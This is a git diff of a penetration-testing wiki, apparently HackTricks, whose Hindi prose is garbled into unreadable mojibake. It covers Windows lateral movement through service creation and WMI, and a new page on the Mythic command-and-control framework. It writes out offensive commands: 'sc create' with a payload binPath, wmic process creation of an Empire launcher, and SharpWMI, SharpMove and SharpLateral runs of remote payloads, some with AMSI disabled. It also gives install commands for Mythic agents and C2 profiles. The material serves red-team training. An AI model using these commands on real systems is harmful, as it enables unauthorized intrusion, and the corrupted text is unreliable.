рдореАрдЯрд░рдкреНрд░реАрдЯрд░ рдкреЗрд▓реЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -- рд╣рдорд▓рд╛рд╡рд░ рдХреА рдорд╢реАрди рдкрд░ рдПрдХ рджреВрд░рд╕реНрде рд╕реЗрд╡рд╛ рдмрдирд╛рдХрд░ рдЬрд┐рд╕рдореЗрдВ binPath рдХреЛ cmd.exe рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдкреЗрд▓реЛрдб рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, callback рдФрд░ рдкреЗрд▓реЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ Metasploit рд▓рд┐рд╕реНрдирд░ рдХреЗ рд╕рд╛рде рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛, рднрд▓реЗ рд╣реА рд╕реЗрд╡рд╛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рд╣реЛрдВред - -### рдХрдорд╛рдВрдб рдЙрджрд╛рд╣рд░рдг - -рд╕реЗрд╡рд╛ рдмрдирд╛рдирд╛ рдФрд░ рд╢реБрд░реВ рдХрд░рдирд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: -```bash -sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]" -sc start [ServiceName] -``` -рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## рд╕рдВрджрд░реНрдн - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/wmiexec.md b/src/windows-hardening/lateral-movement/wmiexec.md index 8cb6f727a..61d278cee 100644 --- a/src/windows-hardening/lateral-movement/wmiexec.md +++ b/src/windows-hardening/lateral-movement/wmiexec.md @@ -6,13 +6,13 @@ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЙрди рд╣реЛрд╕реНрдЯ рдкрд░ рдЦреЛрд▓реА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рдЬрд╣рд╛рдБ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдпрд╛ рддреЛ рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ рд╣реИрд╢ рдЬреНрдЮрд╛рдд рд╣реИрдВ WMI рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред Wmiexec рджреНрд╡рд╛рд░рд╛ WMI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреЛ рдПрдХ рдЕрд░реНрдз-рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рд╢реЗрд▓ рдЕрдиреБрднрд╡ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -**dcomexec.py:** рд╡рд┐рднрд┐рдиреНрди DCOM рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ wmiexec.py рдХреЗ рд╕рдорд╛рди рдПрдХ рдЕрд░реНрдз-рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рд╢реЗрд▓ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ ShellBrowserWindow DCOM рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реБрдПред рдпрд╣ рд╡рд░реНрддрдорд╛рди рдореЗрдВ MMC20 рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдПрдкреНрд▓рд┐рдХреЗрд╢рди, рд╢реЗрд▓ рд╡рд┐рдВрдбреЛрдЬрд╝, рдФрд░ рд╢реЗрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рдСрдмреНрдЬреЗрдХреНрдЯред (source: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) +**dcomexec.py:** рд╡рд┐рднрд┐рдиреНрди DCOM рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ wmiexec.py рдХреЗ рд╕рдорд╛рди рдПрдХ рдЕрд░реНрдз-рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рд╢реЗрд▓ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ ShellBrowserWindow DCOM рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реБрдПред рдпрд╣ рд╡рд░реНрддрдорд╛рди рдореЗрдВ MMC20 рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдПрдкреНрд▓рд┐рдХреЗрд╢рди, рд╢реЗрд▓ рд╡рд┐рдВрдбреЛрдЬрд╝, рдФрд░ рд╢реЗрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ред (source: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) ## WMI Fundamentals ### Namespace -рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА-рд╢реИрд▓реА рдХреА рдкрджрд╛рдиреБрдХреНрд░рдо рдореЗрдВ рд╕рдВрд░рдЪрд┐рдд, WMI рдХрд╛ рд╢реАрд░реНрд╖-рд╕реНрддрд░реАрдп рдХрдВрдЯреЗрдирд░ \root рд╣реИ, рдЬрд┐рд╕рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдЕрддрд┐рд░рд┐рдХреНрдд рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ, рдЬрд┐рдиреНрд╣реЗрдВ namespaces рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХреА рдЬрд╛рддреА рд╣реИрдВред +рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА-рд╢реИрд▓реА рдХреА рдкрджрд╛рдиреБрдХреНрд░рдо рдореЗрдВ рд╕рдВрд░рдЪрд┐рдд, WMI рдХрд╛ рд╢реАрд░реНрд╖-рд╕реНрддрд░реАрдп рдХрдВрдЯреЗрдирд░ \root рд╣реИ, рдЬрд┐рд╕рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдЕрддрд┐рд░рд┐рдХреНрдд рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА, рдЬрд┐рдиреНрд╣реЗрдВ namespaces рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд╣реИрдВред Namespaces рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрджреЗрд╢: ```bash # Retrieval of Root namespaces @@ -32,7 +32,7 @@ gwmi -Namespace "root/microsoft" -List -Recurse ### **рдХреНрд▓рд╛рд╕реЗрд╕** WMI рдХреНрд▓рд╛рд╕ рдирд╛рдо, рдЬреИрд╕реЗ win32_process, рдФрд░ рдЬрд┐рд╕ рдирд╛рдорд╕реНрдерд╛рди рдореЗрдВ рдпрд╣ рд╕реНрдерд┐рдд рд╣реИ, рдЬрд╛рдирдирд╛ рдХрд┐рд╕реА рднреА WMI рдСрдкрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред -`win32` рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдХреНрд▓рд╛рд╕реЗрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб: +`win32` рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдХреНрд▓рд╛рд╕реЗрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб: ```bash Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2" gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*" @@ -85,11 +85,11 @@ wmic useraccount list /format:list wmic group list /format:list wmic sysaccount list /format:list ``` -WMI рд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЬрд╛рдирдХрд╛рд░реА, рдЬреИрд╕реЗ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдХ рдпрд╛ рд▓реЙрдЧ-рдСрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рджреВрд░рд╕реНрде рдХреНрд╡реЗрд░реА рдХрд░рдирд╛, рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдХрдорд╛рдВрдб рдирд┐рд░реНрдорд╛рдг рдХреЗ рд╕рд╛рде рд╕рдВрднрд╡ рд╣реИред +WMI рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЬрд╛рдирдХрд╛рд░реА, рдЬреИрд╕реЗ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдХ рдпрд╛ рд▓реЙрдЧ-рдСрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рджреВрд░рд╕реНрде рдХреНрд╡реЗрд░реА рдХрд░рдирд╛, рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдХрдорд╛рдВрдб рдирд┐рд░реНрдорд╛рдг рдХреЗ рд╕рд╛рде рд╕рдВрднрд╡ рд╣реИред ### **рдореИрдиреБрдЕрд▓ рд░рд┐рдореЛрдЯ WMI рдХреНрд╡реЗрд░реАрд┐рдВрдЧ** -рджреВрд░рд╕реНрде рдорд╢реАрди рдкрд░ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдФрд░ рд▓реЙрдЧ-рдСрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЪреБрдкрдЪрд╛рдк рдкрд╣рдЪрд╛рди рд╡рд┐рд╢рд┐рд╖реНрдЯ WMI рдХреНрд╡реЗрд░рд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред `wmic` рдПрдХ рдЯреЗрдХреНрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдкрдврд╝рдиреЗ рдХрд╛ рд╕рдорд░реНрдерди рднреА рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рд╕рд╛рде рдХрдИ рдиреЛрдбреНрд╕ рдкрд░ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВред +рдПрдХ рджреВрд░рд╕реНрде рдорд╢реАрди рдкрд░ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдФрд░ рд▓реЙрдЧ-рдСрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЪреБрдкрдЪрд╛рдк рдкрд╣рдЪрд╛рди рд╡рд┐рд╢рд┐рд╖реНрдЯ WMI рдХреНрд╡реЗрд░рд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред `wmic` рдПрдХ рдЯреЗрдХреНрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдкрдврд╝рдиреЗ рдХрд╛ рд╕рдорд░реНрдерди рднреА рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рд╕рд╛рде рдХрдИ рдиреЛрдбреНрд╕ рдкрд░ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВред WMI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЬреИрд╕реЗ рдХрд┐ рдПрдХ рд╕рд╛рдореНрд░рд╛рдЬреНрдп рдПрдЬреЗрдВрдЯ рдХреЛ рддреИрдирд╛рдд рдХрд░рдирд╛, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рдлрд▓ рдирд┐рд╖реНрдкрд╛рджрди "0" рдХреЗ рд▓реМрдЯрдиреЗ рд╡рд╛рд▓реЗ рдорд╛рди рджреНрд╡рд╛рд░рд╛ рд╕рдВрдХреЗрддрд┐рдд рд╣реЛрддрд╛ рд╣реИ: ```bash @@ -97,14 +97,30 @@ wmic /node:hostname /user:user path win32_process call create "empire launcher s ``` рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ WMI рдХреА рджреВрд░рд╕реНрде рдирд┐рд╖реНрдкрд╛рджрди рдФрд░ рдкреНрд░рдгрд╛рд▓реА рдЧрдгрдирд╛ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рджрд░реНрд╢рд╛рддреА рд╣реИ, рдЬреЛ рдкреНрд░рдгрд╛рд▓реА рдкреНрд░рд╢рд╛рд╕рди рдФрд░ рдкреЗрдирдЯреЗрд╕реНрдЯрд┐рдВрдЧ рджреЛрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХреЗ рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реИред -## рд╕рдВрджрд░реНрдн - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - ## рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг - [**SharpLateral**](https://github.com/mertdas/SharpLateral): ```bash SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe ``` +- [**SharpWMI**](https://github.com/GhostPack/SharpWMI) +```bash +SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true] +# Stealthier execution with VBS +SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs] +``` +- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove): +```bash +SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password +SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password +SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password +``` +- рдЖрдк **Impacket's `wmiexec`** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + + +## рд╕рдВрджрд░реНрдн + +- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/mythic.md b/src/windows-hardening/mythic.md new file mode 100644 index 000000000..04a49f742 --- /dev/null +++ b/src/windows-hardening/mythic.md @@ -0,0 +1,164 @@ +#┬аMythic + +## What is Mythic? + +Mythic рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕, рдореЙрдбреНрдпреВрд▓рд░ рдХрдорд╛рдВрдб рдФрд░ рдХрдВрдЯреНрд░реЛрд▓ (C2) рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИ рдЬрд┐рд╕реЗ рд░реЗрдб рдЯреАрдорд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдПрдЬреЗрдВрдЯреЛрдВ (рдкреЗрд▓реЛрдб) рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо, рдЬреИрд╕реЗ Windows, Linux, рдФрд░ macOS рдкрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдФрд░ рддреИрдирд╛рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред Mythic рдПрдЬреЗрдВрдЯреЛрдВ рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ, рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ, рдФрд░ рдкрд░рд┐рдгрд╛рдо рдПрдХрддреНрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдЕрдиреБрдХреВрд▓ рд╡реЗрдм рдЗрдВрдЯрд░рдлреЗрд╕ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХреЗ рд╣рдорд▓реЛрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдЙрдкрдХрд░рдг рдмрдирддрд╛ рд╣реИред + +### Installation + +Mythic рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдзрд┐рдХрд╛рд░рд┐рдХ **[Mythic repo](https://github.com/its-a-feature/Mythic)** рдкрд░ рджрд┐рдП рдЧрдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред + +### Agents + +Mythic рдХрдИ рдПрдЬреЗрдВрдЯреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **рд╡реЗ рдкреЗрд▓реЛрдб рд╣реИрдВ рдЬреЛ рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВ**ред рдкреНрд░рддреНрдпреЗрдХ рдПрдЬреЗрдВрдЯ рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЪрд▓ рд╕рдХрддрд╛ рд╣реИред + +рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Mythic рдореЗрдВ рдХреЛрдИ рдПрдЬреЗрдВрдЯ рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ [**https://github.com/MythicAgents**](https://github.com/MythicAgents) рдореЗрдВ рдХреБрдЫ рдУрдкрди-рд╕реЛрд░реНрд╕ рдПрдЬреЗрдВрдЯ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред + +рдЙрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ рдПрдЬреЗрдВрдЯ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдмрд╕ рдпрд╣ рдЪрд▓рд╛рдирд╛ рд╣реИ: +```bash +sudo ./mythic-cli install github https://github.com/MythicAgents/ +sudo ./mythic-cli install github https://github.com/MythicAgents/apfell +``` +рдЖрдк рдкрд┐рдЫрд▓реЗ рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдирдП рдПрдЬреЗрдВрдЯ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ рднрд▓реЗ рд╣реА Mythic рдкрд╣рд▓реЗ рд╕реЗ рдЪрд▓ рд░рд╣рд╛ рд╣реЛред + +### C2 рдкреНрд░реЛрдлрд╛рдЗрд▓ + +Mythic рдореЗрдВ C2 рдкреНрд░реЛрдлрд╛рдЗрд▓ **рдПрдЬреЗрдВрдЯреНрд╕ рдХреЗ Mythic рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВ**ред рд╡реЗ рд╕рдВрдЪрд╛рд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд╡рд┐рдзрд┐рдпрд╛рдБ, рдФрд░ рдЕрдиреНрдп рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдЖрдк Mythic рд╡реЗрдм рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ C2 рдкреНрд░реЛрдлрд╛рдЗрд▓ рдмрдирд╛ рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Mythic рдмрд┐рдирд╛ рдХрд┐рд╕реА рдкреНрд░реЛрдлрд╛рдЗрд▓ рдХреЗ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдк рдХреБрдЫ рдкреНрд░реЛрдлрд╛рдЗрд▓ рдХреЛ repo [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +```bash +sudo ./mythic-cli install github https://github.com/MythicC2Profiles/> +sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http +``` +## [Apollo Agent](https://github.com/MythicAgents/Apollo) + +Apollo рдПрдХ Windows рдПрдЬреЗрдВрдЯ рд╣реИ рдЬреЛ C# рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ, 4.0 .NET Framework рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЬрд┐рд╕реЗ SpecterOps рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдкреНрд░рд╕реНрддрд╛рд╡реЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред + +рдЗрд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ: +```bash +./mythic-cli install github https://github.com/MythicAgents/Apollo.git +``` +рдЗрд╕ рдПрдЬреЗрдВрдЯ рдореЗрдВ рдХрдИ рдХрдорд╛рдВрдб рд╣реИрдВ рдЬреЛ рдЗрд╕реЗ Cobalt Strike рдХреЗ Beacon рдХреЗ рдмрд╣реБрдд рд╕рдорд╛рди рдмрдирд╛рддреЗ рд╣реИрдВ, рдХреБрдЫ рдЕрддрд┐рд░рд┐рдХреНрдд рдХреЗ рд╕рд╛рдеред рдЗрдирдореЗрдВ рд╕реЗ, рдпрд╣ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ: + +### рд╕рд╛рдорд╛рдиреНрдп рдХреНрд░рд┐рдпрд╛рдПрдБ + +- `cat`: рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ +- `cd`: рд╡рд░реНрддрдорд╛рди рдХрд╛рд░реНрдпрд╢реАрд▓ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрджрд▓реЗрдВ +- `cp`: рдПрдХ рд╕реНрдерд╛рди рд╕реЗ рджреВрд╕рд░реЗ рд╕реНрдерд╛рди рдкрд░ рдлрд╝рд╛рдЗрд▓ рдХреЙрдкреА рдХрд░реЗрдВ +- `ls`: рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдпрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкрде рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдФрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдПрдВ +- `pwd`: рд╡рд░реНрддрдорд╛рди рдХрд╛рд░реНрдпрд╢реАрд▓ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ +- `ps`: рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдЪрд▓ рд░рд╣реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдПрдВ (рдЬреЛрдбрд╝реА рдЧрдИ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде) +- `download`: рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рд╕реЗ рд╕реНрдерд╛рдиреАрдп рдорд╢реАрди рдкрд░ рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ +- `upload`: рд╕реНрдерд╛рдиреАрдп рдорд╢реАрди рд╕реЗ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ +- `reg_query`: рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдФрд░ рдорд╛рдиреЛрдВ рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░реЗрдВ +- `reg_write_value`: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдореЗрдВ рдПрдХ рдирдпрд╛ рдорд╛рди рд▓рд┐рдЦреЗрдВ +- `sleep`: 